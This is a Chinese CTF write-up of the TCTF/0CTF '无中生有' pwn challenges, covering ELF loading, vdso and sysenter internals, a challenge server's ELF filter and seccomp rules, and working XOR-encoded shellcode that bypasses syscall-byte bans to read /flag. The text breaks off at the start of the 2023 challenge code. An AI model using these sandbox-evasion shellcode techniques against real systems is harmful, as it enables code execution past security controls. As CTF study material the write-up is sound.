2023 0CTF 无中生有系列

在TCTF决赛被无中生有折磨之后第二天在0CTF再次被暴击,复现来了

一些基础知识

一些链接装载与库的复习

ELF Header

就是这个玩意

EFF header结构体(64位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf64_Half e_type; /* Object file type */
Elf64_Half e_machine; /* Architecture */
Elf64_Word e_version; /* Object file version */
Elf64_Addr e_entry; /* Entry point virtual address */
Elf64_Off e_phoff; /* Program header table file offset */
Elf64_Off e_shoff; /* Section header table file offset */
Elf64_Word e_flags; /* Processor-specific flags */
Elf64_Half e_ehsize; /* ELF header size in bytes */
Elf64_Half e_phentsize; /* Program header table entry size */
Elf64_Half e_phnum; /* Program header table entry count */
Elf64_Half e_shentsize; /* Section header table entry size */
Elf64_Half e_shnum; /* Section header table entry count */
Elf64_Half e_shstrndx; /* Section header string table index */
} Elf64_Ehdr;
  • e_ident:ELF magic number

  • e_type:ELF类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #define ET_NONE		0		/* No file type */
    #define ET_REL 1 /* 可重定位文件(.o文件) */
    #define ET_EXEC 2 /* 可执行文件(静态链接文件) */
    #define ET_DYN 3 /* 动态库文件(动态链接文件和共享库文件) */
    #define ET_CORE 4 /* 核心转储文件(core) */
    #define ET_NUM 5 /* Number of defined types */
    #define ET_LOOS 0xfe00 /* OS-specific range start */
    #define ET_HIOS 0xfeff /* OS-specific range end */
    #define ET_LOPROC 0xff00 /* Processor-specific range start */
    #define ET_HIPROC 0xffff /* Processor-specific range end */
  • e_machine:架构(太多了不列了)

  • e_version:ELF版本信息

    1
    2
    3
    #define EV_NONE		0		/* Invalid ELF version */
    #define EV_CURRENT 1 /* 一般用这个 */
    #define EV_NUM 2
  • e_entry:执行入口地址

  • e_phoff:段表的偏移

  • e_shoff:节表的偏移(在ELF尾部)

  • e_flags:处理器标志

  • e_ehsize:ELF header大小

  • e_phentsize:段表每一项的大小

  • e_phnum:段表项数

  • e_shentsize:节表每一项的大小

  • e_shnum:节表项数

  • e_shstrndx:section header string table index

Program Header Table

1
2
3
4
5
6
7
8
9
10
11
typedef struct
{
Elf64_Word p_type; /* Segment type */
Elf64_Word p_flags; /* Segment flags */
Elf64_Off p_offset; /* Segment file offset */
Elf64_Addr p_vaddr; /* Segment virtual address */
Elf64_Addr p_paddr; /* Segment physical address */
Elf64_Xword p_filesz; /* Segment size in file */
Elf64_Xword p_memsz; /* Segment size in memory */
Elf64_Xword p_align; /* Segment alignment */
} Elf64_Phdr;
  • p_type:段类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    #define	PT_NULL		0		/* 未使用 */
    #define PT_LOAD 1 /* 可加载段,p_filesz表示段大小,p_memsz表示内存大小 */
    #define PT_DYNAMIC 2 /* 动态链接信息 */
    #define PT_INTERP 3 /* 解释器路径 */
    #define PT_NOTE 4 /* 附加信息的位置和大小 */
    #define PT_SHLIB 5 /* 保留 */
    #define PT_PHDR 6 /* ELF Header大小位置 */
    #define PT_TLS 7 /* Thread-local storage segment */
    #define PT_NUM 8 /* Number of defined types */
    #define PT_LOOS 0x60000000 /* Start of OS-specific */
    #define PT_GNU_EH_FRAME 0x6474e550 /* GCC .eh_frame_hdr segment */
    #define PT_GNU_STACK 0x6474e551 /* Indicates stack executability */
    #define PT_GNU_RELRO 0x6474e552 /* Read-only after relocation */
    #define PT_GNU_PROPERTY 0x6474e553 /* GNU property */
    #define PT_LOSUNW 0x6ffffffa
    #define PT_SUNWBSS 0x6ffffffa /* Sun Specific segment */
    #define PT_SUNWSTACK 0x6ffffffb /* Stack segment */
    #define PT_HISUNW 0x6fffffff
    #define PT_HIOS 0x6fffffff /* End of OS-specific */
    #define PT_LOPROC 0x70000000 /* Start of processor-specific */
    #define PT_HIPROC 0x7fffffff /* End of processor-specific */
  • p_flags:段权限

    1
    2
    3
    4
    5
    #define PF_X		(1 << 0)	/* Segment is executable */
    #define PF_W (1 << 1) /* Segment is writable */
    #define PF_R (1 << 2) /* Segment is readable */
    #define PF_MASKOS 0x0ff00000 /* OS-specific */
    #define PF_MASKPROC 0xf0000000 /* Processor-specific */
  • p_vaddr:段虚拟地址

  • p_paddr:段物理地址

  • p_filesz:文件镜像中段大小

  • p_memsz:内存镜像中段大小

  • p_align:对齐相关信息

VDSO

x86-32使用 int 0x80 系统调用,但执行速度很慢,为了加快速度

  • Intel先实现了快速系统调用指令 sysentersysexit
  • AMD后实现了快速系统调用指令 syscallsysret

x86-64统一使用 syscallsysret,Intel同时支持两种方式

  • 厂商芯片斗争的结果就是不同的芯片需要使用不同的快速系统调用指令,因此开发了 vsyscall 机制,即glibc通过调用 __kernel_vsyscall 来确定到底应该执行什么指令

    __kernel_vsyscall 是一个特殊的页,位于内核地址空间(唯一允许用户访问的内核空间),该区域的地址固定为0xffffffffff600000(64位)

  • vsyscall 还有一个重要的作用就是加快某些系统调用的速度

    比如有些系统调用只需要读取一些数据进行计算,可以定期将这些数据推送到内核和用户空间的共享内存中,再利用 __kernel_vsyscall 读取计算,相当于将系统调用变成了函数调用,提高效率效果显著

vsyscall 存在一些问题

  • 地址固定,容易成为ret2libc的跳板
  • 支持的系统调用有限,且不易扩展

所以有了 VDSO

  • VDSO 本质上是一个ELF共享目标文件;而 vsyscall 只是一段内存代码和数据。
  • vsyscall 位于内核地址空间,采用静态地址映射方式;而 VDSO 借助共享目标文件天生具有的PIC特性,可以以进程为粒度动态映射到进程地址空间中

Auxiliary Vector

辅助信息数组,用来在ld初始工作,没有完善的运行环境时,提供一些提示性的信息,在栈上(envp之后)

相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedef struct
{
uint64_t a_type; /* Entry type */
union
{
uint64_t a_val; /* Integer value */
/* We use to have pointer elements added here. We cannot do that,
though, since it does not work when using 32-bit definitions
on 64-bit platforms and vice versa. */
} a_un;
} Elf64_auxv_t;

#define AT_NULL 0 /* End of vector */
#define AT_IGNORE 1 /* Entry should be ignored */
#define AT_EXECFD 2 /* ld可能利用操作系统的读写功能访问ELF,这是ELF的fd */
/* ld也可能直接将ELF映射进内存,这时候为了提供空间就需要以下几项 */
#define AT_PHDR 3 /* Program Header Table的地址 */
#define AT_PHENT 4 /* Size of program header entry */
#define AT_PHNUM 5 /* Number of program headers */
#define AT_PAGESZ 6 /* System page size */
#define AT_BASE 7 /* Base address of interpreter */
#define AT_FLAGS 8 /* Flags */
#define AT_ENTRY 9 /* Entry point of program */
#define AT_NOTELF 10 /* Program is not ELF */
#define AT_UID 11 /* Real uid */
#define AT_EUID 12 /* Effective uid */
#define AT_GID 13 /* Real gid */
#define AT_EGID 14 /* Effective gid */
#define AT_CLKTCK 17 /* Frequency of times() */

sysenter

qemu调sysenter选一个Intel的cpu就行了,比如Broadwell-v1

1
qemu-system-x86_64 -cpu help

解释一下为什么sysenter返回之后程序回跑飞

  • 在一系列处理之后会调用do_SYSENTER_32正式处理sysenter,在这之前的pt_regs

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    00:0000│ rdi rsp 0xffffc90000463f58 ◂— 0x1					r15
    01:00080xffffc90000463f60 —▸ 0x4c17d0 r14
    02:00100xffffc90000463f68 —▸ 0x7ffe7a28fff8 r13
    03:00180xffffc90000463f70 ◂— 0x1 r12
    04:00200xffffc90000463f78 —▸ 0x7ffe7a28fe10 bp
    05:00280xffffc90000463f80 ◂— 0x2c bx
    06:00300xffffc90000463f88 ◂— 0x206 r11
    07:00380xffffc90000463f90 ◂— 0x80 r10
    08:00400xffffc90000463f98 ◂— 0x800000000000 r9
    09:00480xffffc90000463fa0 —▸ 0x4c7d70 r8
    0a:00500xffffc90000463fa8 ◂— 0xffffffffffffffda ax
    0b:00580xffffc90000463fb0 ◂— 0xa cx
    0c:00600xffffc90000463fb8 —▸ 0x7ffe7a290008 dx
    0d:00680xffffc90000463fc0 —▸ 0x7ffe7a28fff8 si
    0e:00700xffffc90000463fc8 ◂— 0x1 di
    0f:00780xffffc90000463fd0 ◂— 0x1 orig_ax
    10:00800xffffc90000463fd8 ◂— 0x0 ip
    11:00880xffffc90000463fe0 ◂— 0x23 cs
    12:00900xffffc90000463fe8 ◂— 0x6 flags
    13:00980xffffc90000463ff0 ◂— 0x0 sp
    14:00a0│ 0xffffc90000463ff8 ◂— 0x2b ss

    来康康为什么会变成这样,和用户态不一样的寄存器有rsp,rip,cs(不管rax,ss,cs)

    在push寄存器的时候会直接把rsp和rip记为0,cs置为32位的cs

    1
    2
    3
    4
    pushq	$0			/* pt_regs->sp = 0 (placeholder) */
    pushfq /* pt_regs->flags (except IF = 0) */
    pushq $__USER32_CS /* pt_regs->cs */
    pushq $0 /* pt_regs->ip = 0 (placeholder) */
  • 调用do_SYSENTER_32后的pt_regs

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    00:0000│ rsp 0xffffc90000463f58 ◂— 0x1					r15
    01:00080xffffc90000463f60 —▸ 0x4c17d0 r14
    02:00100xffffc90000463f68 —▸ 0x7ffe7a28fff8 r13
    03:00180xffffc90000463f70 ◂— 0x1 r12
    04:00200xffffc90000463f78 ◂— 0x7ffe00000000 bp // change!
    05:00280xffffc90000463f80 ◂— 0x2c bx
    06:00300xffffc90000463f88 ◂— 0x206 r11
    07:00380xffffc90000463f90 ◂— 0x80 r10
    08:00400xffffc90000463f98 ◂— 0x800000000000 r9
    09:00480xffffc90000463fa0 —▸ 0x4c7d70 r8
    0a:00500xffffc90000463fa8 ◂— 0xfffffffffffffff2 ax
    0b:00580xffffc90000463fb0 ◂— 0xa cx
    0c:00600xffffc90000463fb8 —▸ 0x7ffe7a290008 dx
    0d:00680xffffc90000463fc0 —▸ 0x7ffe7a28fff8 si
    0e:00700xffffc90000463fc8 ◂— 0x1 di
    0f:00780xffffc90000463fd0 ◂— 0x1 orig_ax
    10:00800xffffc90000463fd8 —▸ 0x7ffe7a3f0579 ip // change!
    11:00880xffffc90000463fe0 ◂— 0x23 cs
    12:00900xffffc90000463fe8 ◂— 0x206 flags // change!
    13:00980xffffc90000463ff0 —▸ 0x7ffe7a28fe10 sp // change!
    14:00a0│ 0xffffc90000463ff8 ◂— 0x2b ss

    • sysenter使用rbp作为返回时的rsp,flags要加上X86_EFLAGS_IF的标志

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      __visible noinstr long do_SYSENTER_32(struct pt_regs *regs)
      {
      /* SYSENTER loses RSP, but the vDSO saved it in RBP. */
      regs->sp = regs->bp;

      /* SYSENTER clobbers EFLAGS.IF. Assume it was set in usermode. */
      regs->flags |= X86_EFLAGS_IF;

      return do_fast_syscall_32(regs);
      }
    • do_fast_syscall_32会自动设置rip为vsdo中一段固定的landing的地址

      1
      2
      3
      4
      5
      6
      7
      8
      9
      unsigned long landing_pad = (unsigned long)current->mm->context.vdso +
      vdso_image_32.sym_int80_landing_pad;

      /*
      * SYSENTER loses EIP, and even SYSCALL32 needs us to skip forward
      * so that 'regs->ip -= 2' lands back on an int $0x80 instruction.
      * Fix it up.
      */
      regs->ip = landing_pad;
  • 由于已经将cs设置为32位,所以iretq之后寄存器会被截半

来看一下正常的sysenter的执行过程

  • 一个sysenter一定是从vdso中来的(传参顺序ebx,ecx,edx)

    可以看出ebp是用来存esp的

    sysenter的参数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    /*
    * Arguments:
    * eax system call number
    * ebx arg1
    * ecx arg2
    * edx arg3
    * esi arg4
    * edi arg5
    * ebp user stack
    * 0(%ebp) arg6
    */
  • do_SYSENTER_32返回之后,可以看出landing_pad已经设置好了

  • landing成功(如果sysenter失败还要继续int 0x80)

ELF文件启动过程

解释一些特性的原理

  • GNU_STACK设为X则权限为RWX

    Linux中对于栈的权限只有可执行和不可执行的判断,默认是可读写的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    /* Stack area protections */
    #define EXSTACK_DEFAULT 0 /* Whatever the arch defaults to */
    #define EXSTACK_DISABLE_X 1 /* Disable executable stacks */
    #define EXSTACK_ENABLE_X 2 /* Enable executable stacks */


    elf_ppnt = elf_phdata;
    for (i = 0; i < elf_ex->e_phnum; i++, elf_ppnt++)
    switch (elf_ppnt->p_type) {
    case PT_GNU_STACK:
    if (elf_ppnt->p_flags & PF_X)
    executable_stack = EXSTACK_ENABLE_X;
    else
    executable_stack = EXSTACK_DISABLE_X;
    break;
  • 64位和32位的检查是通过e_machine

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    		/* Verify the interpreter has a valid arch */
    if (!elf_check_arch(interp_elf_ex) ||
    elf_check_fdpic(interp_elf_ex))
    goto out_free_dentry;

    #define elf_check_arch compat_elf_check_arch

    #define compat_elf_check_arch(x) \
    (elf_check_arch_ia32(x) || \
    (IS_ENABLED(CONFIG_X86_X32_ABI) && (x)->e_machine == EM_X86_64))

    #define elf_check_arch_ia32(x) \
    (((x)->e_machine == EM_386) || ((x)->e_machine == EM_486))

2022 TCTF Final 无中生有

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/python3 -u

import os, sys, random, subprocess, gmpy2
from io import BytesIO
from hashlib import sha256
from elftools.elf.elffile import ELFFile
from elftools.elf.constants import P_FLAGS

os.chdir(os.path.dirname(__file__))

def proof_of_work(sec = 10):
# From 0CTF/TCTF 2021
p = gmpy2.next_prime(random.getrandbits(512))
q = gmpy2.next_prime(random.getrandbits(512))
n = p*q
c = 2900000
t = c*sec + random.randint(0,c)
print('Show me your computation:')
print(f'2^(2^{t}) mod {n} = ?')
print('Your answer: ', end='')
try:
sol = int(sys.stdin.readline())
phi = (p-1)*(q-1)
u = pow(2, t, phi)
w = pow(2, u, n)
if w == sol:
print('Correct!')
return True
else:
print('Wrong Answer!')
exit()
except ValueError:
print('Invalid Input!')
exit()

def check_bytes(data, b):
p = -1
while True:
p = data.find(b, p+1)
if p == -1:
return True
elif p & 0xfff == 0 or p & 0xfff == 0xfff:
return False

def check_elf(data):
if len(data) < 0x40:
print('Incomplete ELF Header')
return False
if not data.startswith(b'\x7fELF\x02\x01\x01' + b'\x00'*9):
print('Invalid ELF Magic')
return False

if b'\xcd\x80' in data or b'\x0f\x05' in data:
print('Bad Instruction')
return False

if not check_bytes(data, b'\xcd') or not check_bytes(data, b'\x80') or not check_bytes(data, b'\x0f') or not check_bytes(data, b'\x05'):
print('Bad Instruction')
return False

elf = ELFFile(BytesIO(data))
if ((elf.header.e_type != 'ET_EXEC' and elf.header.e_type != 'ET_DYN')
or elf.header.e_version != 'EV_CURRENT'
or elf.header.e_ehsize != 0x40
or elf.header.e_phoff != 0x40
or elf.header.e_phnum <= 0):
print('Bad ELF Header')
return False

for seg in elf.iter_segments():
if seg.header.p_type == 'PT_INTERP' or seg.header.p_type == 'PT_DYNAMIC':
print('No dynamic link')
return False
elif seg.header.p_flags & P_FLAGS.PF_W and seg.header.p_flags & P_FLAGS.PF_X:
print('W^X')
return False
elif seg.header.p_filesz > len(data) or seg.header.p_memsz > len(data):
print('Segment too large')
return False

return True

def main():
try:
size = int(input('Size of your ELF: '))
except:
print('Invalid size!')
return
if size <= 0 or size > 0x10000:
print('Bad size!')
return

print('ELF File:')
try:
data = sys.stdin.buffer.read(size)
except:
print('Invalid file data')
return
if len(data) != size:
print('Incomplete file data')
return

print('ELF Received: %d bytes' % len(data))
if check_elf(data):
filename = sha256(data).hexdigest()
print('File Hash: %s' % filename)
path = './data/' + filename
if os.path.exists(path):
os.unlink(path)
open(path, 'wb').write(data)
os.chmod(path, 0o555)
try:
p = subprocess.Popen(['docker', 'run', '-i', '--rm', '-v', f'{path}:/{filename}', 'challenge', filename], stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
p.wait()
print('Return status: %d' % p.returncode)
if p.returncode == 137:
print('Output:')
sys.stdout.buffer.write(p.stdout.read())
return
except:
print('Something went wrong!')


if __name__ == '__main__':
if proof_of_work():
main()
print('Bye!')

可以上传一个文件,但对文件进行了限制

  • ban了 int 80syscall,考虑了指令跨页的情况
  • ELF Header
    • 必须为动态 / 静态链接可执行文件
    • ELF Header大小0x40
    • 有段表且段表在ELF Header之后
  • segments
    • 没有动态链接段和解释器信息(静态链接文件)
    • 不能有wx段
    • 不能有大于ELF大小的段

利用

沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x11 0x00 0x00000000 if (A == read) goto 0021
0004: 0x15 0x10 0x00 0x0000000c if (A == brk) goto 0021
0005: 0x15 0x0f 0x00 0x000000e7 if (A == exit_group) goto 0021
0006: 0x15 0x0e 0x00 0x40000001 if (A == x32_write) goto 0021
0007: 0x15 0x0d 0x00 0x40000009 if (A == x32_mmap) goto 0021
0008: 0x15 0x0c 0x00 0x4000000b if (A == x32_munmap) goto 0021
0009: 0x15 0x00 0x0c 0x0000003b if (A != execve) goto 0022
0010: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # execve(filename, argv, envp)
0011: 0x15 0x00 0x0a 0x00007fff if (A != 0x7fff) goto 0022
0012: 0x20 0x00 0x00 0x00000010 A = filename # execve(filename, argv, envp)
0013: 0x15 0x07 0x08 0xffffefe5 if (A == 0xffffefe5) goto 0021 else goto 0022
0014: 0x15 0x00 0x07 0x40000003 if (A != ARCH_I386) goto 0022
0015: 0x20 0x00 0x00 0x00000000 A = sys_number
0016: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0021 ; exit
0017: 0x15 0x03 0x00 0x00000006 if (A == lstat) goto 0021 ; close
0018: 0x15 0x00 0x03 0x00000005 if (A != fstat) goto 0022 ; open
0019: 0x20 0x00 0x00 0x00000018 A = statbuf # fstat(fd, statbuf)
0020: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x06 0x00 0x00 0x00000000 return KILL
  • 64位:允许read,x32_write,x32_mmap
  • 32位:允许open

主要问题是怎么造syscall

vdso

虽然只能加载静态链接ELF但vsdo还是会加载进内存,且rx权限的vdso中是有syscall的

先放ELF再慢慢解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
; compile with: nasm -felf64 exp.s && ld -N exp.o && strip -s ./a.out
; ld -N will put all segment together (make file much smaller),
; but will create RWX segment
; use 010 editor to modify segment header, mark it as RX

global _start
section .text

_start:
mov rdi, rsp
; find vdso address on stack
find_vdso_l1:
cmp QWORD [rdi],0x21
je find_vdso_l2
add rdi,0x8
jmp find_vdso_l1
find_vdso_l2:
mov rax, QWORD [rdi+0x8] ; rax store vdso ptr
; search for `syscall; ret` in vdso
find_syscall_ret_l1:
cmp BYTE [rax],0xf
jne find_syscall_ret_l2
cmp BYTE [rax+0x1],0x5
jne find_syscall_ret_l2
cmp BYTE [rax+0x2],0xc3
je find_syscall_ret_l3
find_syscall_ret_l2:
inc rax
jmp find_syscall_ret_l1
find_syscall_ret_l3:
mov r15, rax
mmap_32bit_stack:
mov eax, 0x40000009
mov edi, 0x19260000-0x1000
mov esi, 0x2000
mov edx, 7
mov r10, 0x22
mov r8, 0
mov r9, 0
call r15 ; call syscall
; mmap_x32(0x19260000-0x1000, 0x2000, RWX, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)
mmap_32bit_shellcode:
mov eax, 0x40000009
mov edi, 0x19290000
mov esi, 0x2000
mov edx, 7
mov r10, 0x22
mov r8, 0
mov r9, 0
call r15 ; call syscall
; mmap_x32(0x19290000, 0x2000, RWX, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)

xor_shellcode_l1:
xor eax,eax
lea rdi,[sc]
mov rsi,0x19290000
mov rdx,QWORD [sc_len]
xor_shellcode_l2:
cmp rdx,rax
je jump_to_shellcode
mov cl,BYTE [rdi+rax*1]
xor ecx,0x1
mov BYTE [rsi+rax*1],cl
inc rax
jmp xor_shellcode_l2

jump_to_shellcode:
mov rsp, 0x19260000
mov rax, 0x19290000
jmp rax

; message: db "test output!!!!!", 0 ; note the newline at the end
sc: db 0xbd, 0x1, 0x4, 0x27, 0x18, 0x6b, 0x22, 0x69, 0xf, 0x1, 0x28, 0x18, 0x49, 0xca, 0xb9, 0x4, 0x1, 0x1, 0x1, 0x6b, 0x66, 0x69, 0x2e, 0x67, 0x6d, 0x60, 0x88, 0xe2, 0x30, 0xc8, 0xcc, 0x81, 0x6b, 0x32, 0x69, 0x28, 0x1, 0x28, 0x18, 0x49, 0xca, 0x30, 0xc1, 0xbe, 0x2, 0x1, 0x1, 0x1, 0xbf, 0x1, 0x9, 0x27, 0x18, 0xbb, 0x1, 0x0, 0x1, 0x1, 0xe, 0x4, 0xb9, 0x0, 0x1, 0x1, 0x41, 0xbe, 0x0, 0x1, 0x1, 0x1, 0xbf, 0x1, 0x9, 0x27, 0x18, 0xbb, 0x1, 0x0, 0x1, 0x1, 0xe, 0x4, 0x6b, 0x22, 0x69, 0x5a, 0x1, 0x28, 0x18, 0x49, 0xca, 0xb9, 0x0, 0x1, 0x1, 0x1, 0xba, 0x88, 0x1, 0x1, 0x1, 0xcc, 0x81
sc_len: dq 103
  • 栈上会有vsdo的基址,在envp之后的auxv数组中,AT_SYSINFO_EHDR(0x21)项就是vdso的地址

  • 然后就在vdso中搜索syscall

  • 32位mmap一段内存,用作stack(0x40000000以上的系统调用号是64位下执行32位系统调用)

    由于之后要转换成32位,需要栈高8字节为0,所以要重新mmap一段栈

    1
    mmap_x32(0x19260000-0x1000, 0x2000, RWX, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)
  • 再mmap一段内存,用于写shellcode

  • 将要执行的shellcode解码赋值至0x19290000

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    section .text
    global _start

    _start:
    ; mov eax, 0x40000009
    ; ; mov eax, 0x9
    ; mov edi, 0x19260000
    ; mov esi, 0x1000
    ; mov edx, 0x7
    ; mov r10d, 0x22
    ; mov r8d, -1
    ; mov r9d, 0
    ; syscall

    mov rsp, 0x19260500
    push 0x23 ; CS
    push 0x1929000e ; _open
    retfq

    _open:
    mov eax, 5
    push 0x0067
    push 0x616c662f ; /flag
    mov ebx, esp
    xor ecx, ecx
    int 0x80

    push 0x33 ; CS
    push 0x19290029 ; _read
    retfq

    _read:
    xor eax, eax
    mov rdi, 3
    mov rsi, 0x19260800
    mov rdx, 0x100
    syscall

    _write:
    mov rax, 0x40000001
    mov rdi, 1
    mov rsi, 0x19260800
    mov rdx, 0x100
    syscall

    push 0x23 ; CS
    push 0x1929005b ; _exit
    retfq

    _exit:
    mov eax, 1
    mov ebx, 137
    int 0x80
    • open需要32位

      • 可以使用retfq(相当于pop rip; pop cs;)切换架构(32位架构cs为0x23)
      • 或者直接64位下直接int 0x80,需要保证栈和返回地址高32位为0
      • 注意int 0x80传参:ebx,ecx,edx,esi,edi
    • 然后正常64位read,x32_write

GNU_STACK

修改GNU_STACK p_flags 为X,栈默认可读写,由于内核实现原因此时栈是rwx的

分了三段shellcode

  • shellcode1(exp)把shellcode2(sc_mmap)拷贝到栈上,解码并执行之

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    global    _start
    section .text

    _start:
    sub rsp,0x100
    xor_shellcode_mmap_l1:
    xor eax,eax
    lea rdi,[sc_mmap]
    mov rsi,rsp
    mov rdx,QWORD [scm_len]
    xor_shellcode_mmap_l2:
    cmp rdx,rax
    je jump_to_shellcode
    mov cl,BYTE [rdi+rax*1]
    xor ecx,0x1
    mov BYTE [rsi+rax*1],cl
    inc rax
    jmp xor_shellcode_mmap_l2

    jump_to_shellcode:
    jmp rsp

    ; message: db "test output!!!!!", 0 ; note the newline at the end
    sc: db 185, 4, 1, 1, 1, 73, 191, 46, 103, 109, 96, 102, 1, 1, 1, 87, 136, 226, 48, 200, 204, 129, 48, 193, 190, 2, 1, 1, 1, 191, 1, 9, 39, 24, 187, 1, 0, 1, 1, 14, 4, 185, 0, 1, 1, 65, 190, 0, 1, 1, 1, 191, 1, 9, 39, 24, 187, 1, 0, 1, 1, 14, 4, 185, 0, 1, 1, 1, 186, 136, 1, 1, 1, 204, 129, 1, 47, 114, 105, 114, 117
    sc_len: dq 81
    sc_mmap: db 185, 8, 1, 1, 65, 190, 1, 241, 36, 24, 191, 1, 33, 1, 1, 187, 6, 1, 1, 1, 64, 187, 35, 1, 1, 1, 64, 185, 1, 1, 1, 1, 64, 184, 1, 1, 1, 1, 14, 4, 185, 8, 1, 1, 65, 190, 1, 1, 40, 24, 191, 1, 33, 1, 1, 187, 6, 1, 1, 1, 64, 187, 35, 1, 1, 1, 64, 185, 1, 1, 1, 1, 64, 184, 1, 1, 1, 1, 14, 4, 48, 193, 73, 140, 61, 36, 48, 17, 65, 1, 191, 1, 1, 40, 24, 187, 75, 1, 1, 1, 73, 56, 195, 117, 15, 139, 13, 6, 130, 240, 0, 137, 13, 7, 73, 254, 193, 234, 236, 189, 1, 1, 39, 24, 185, 1, 1, 40, 24, 254, 225, 1, 1, 1, 1, 1, 1
    scm_len: dq 137

    链接带stack的elf使用以下命令

    1
    ld -o exp -z execstack exp.o

    这样的stack是rwx的,需要010editor改一下权限

  • shellcode2(sc_mmap)mmap两段内存,将shellcode3(sc)复制过去,执行之

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    section .text
    global _start

    _start:
    mmap_32bit_stack:
    mov eax, 0x40000009
    mov edi, 0x19260000-0x1000
    mov esi, 0x2000
    mov edx, 7
    mov r10, 0x22
    mov r8, 0
    mov r9, 0
    syscall ; call syscall
    ; mmap_x32(0x19260000-0x1000, 0x2000, RWX, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)
    mmap_32bit_shellcode:
    mov eax, 0x40000009
    mov edi, 0x19290000
    mov esi, 0x2000
    mov edx, 7
    mov r10, 0x22
    mov r8, 0
    mov r9, 0
    syscall ; call syscall
    ; mmap_x32(0x19290000, 0x2000, RWX, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)
    xor_shellcode_l1:
    xor eax,eax
    lea rdi,0x401031
    mov rsi,0x19290000
    mov rdx,80
    xor_shellcode_l2:
    cmp rdx,rax
    je jump_to_shellcode
    mov cl,BYTE [rdi+rax*1]
    xor ecx,0x1
    mov BYTE [rsi+rax*1],cl
    inc rax
    jmp xor_shellcode_l2

    jump_to_shellcode:
    mov rsp, 0x19260000
    mov rax, 0x19290000
    jmp rax
  • shellcode3(sc)进行orw

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    section .text
    global _start

    _start:
    _open:
    mov eax, 5
    mov rsi, 0x0067616c662f
    push rsi ; /flag
    mov ebx, esp
    xor ecx, ecx
    int 0x80

    _read:
    xor eax, eax
    mov rdi, 3
    mov rsi, 0x19260800
    mov rdx, 0x100
    syscall

    _write:
    mov rax, 0x40000001
    mov rdi, 1
    mov rsi, 0x19260800
    mov rdx, 0x100
    syscall

    _exit:
    mov eax, 1
    mov ebx, 137
    int 0x80

    ps:vdso的shellcode写入flag字符串时是两个push,这是已经切换32位了,一次push是四字节,64位push两次就变成 /fla 了(╯‵□′)╯︵┻━┻,就这个bug de了好久……

2023 0CTF nothing

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/python3 -u

import os, sys, random, subprocess, gmpy2
from io import BytesIO
from hashlib import sha3_256
from elftools.elf.elffile import ELFFile
from elftools.elf.constants import P_FLAGS

os.chdir(os.path.dirname(__file__))

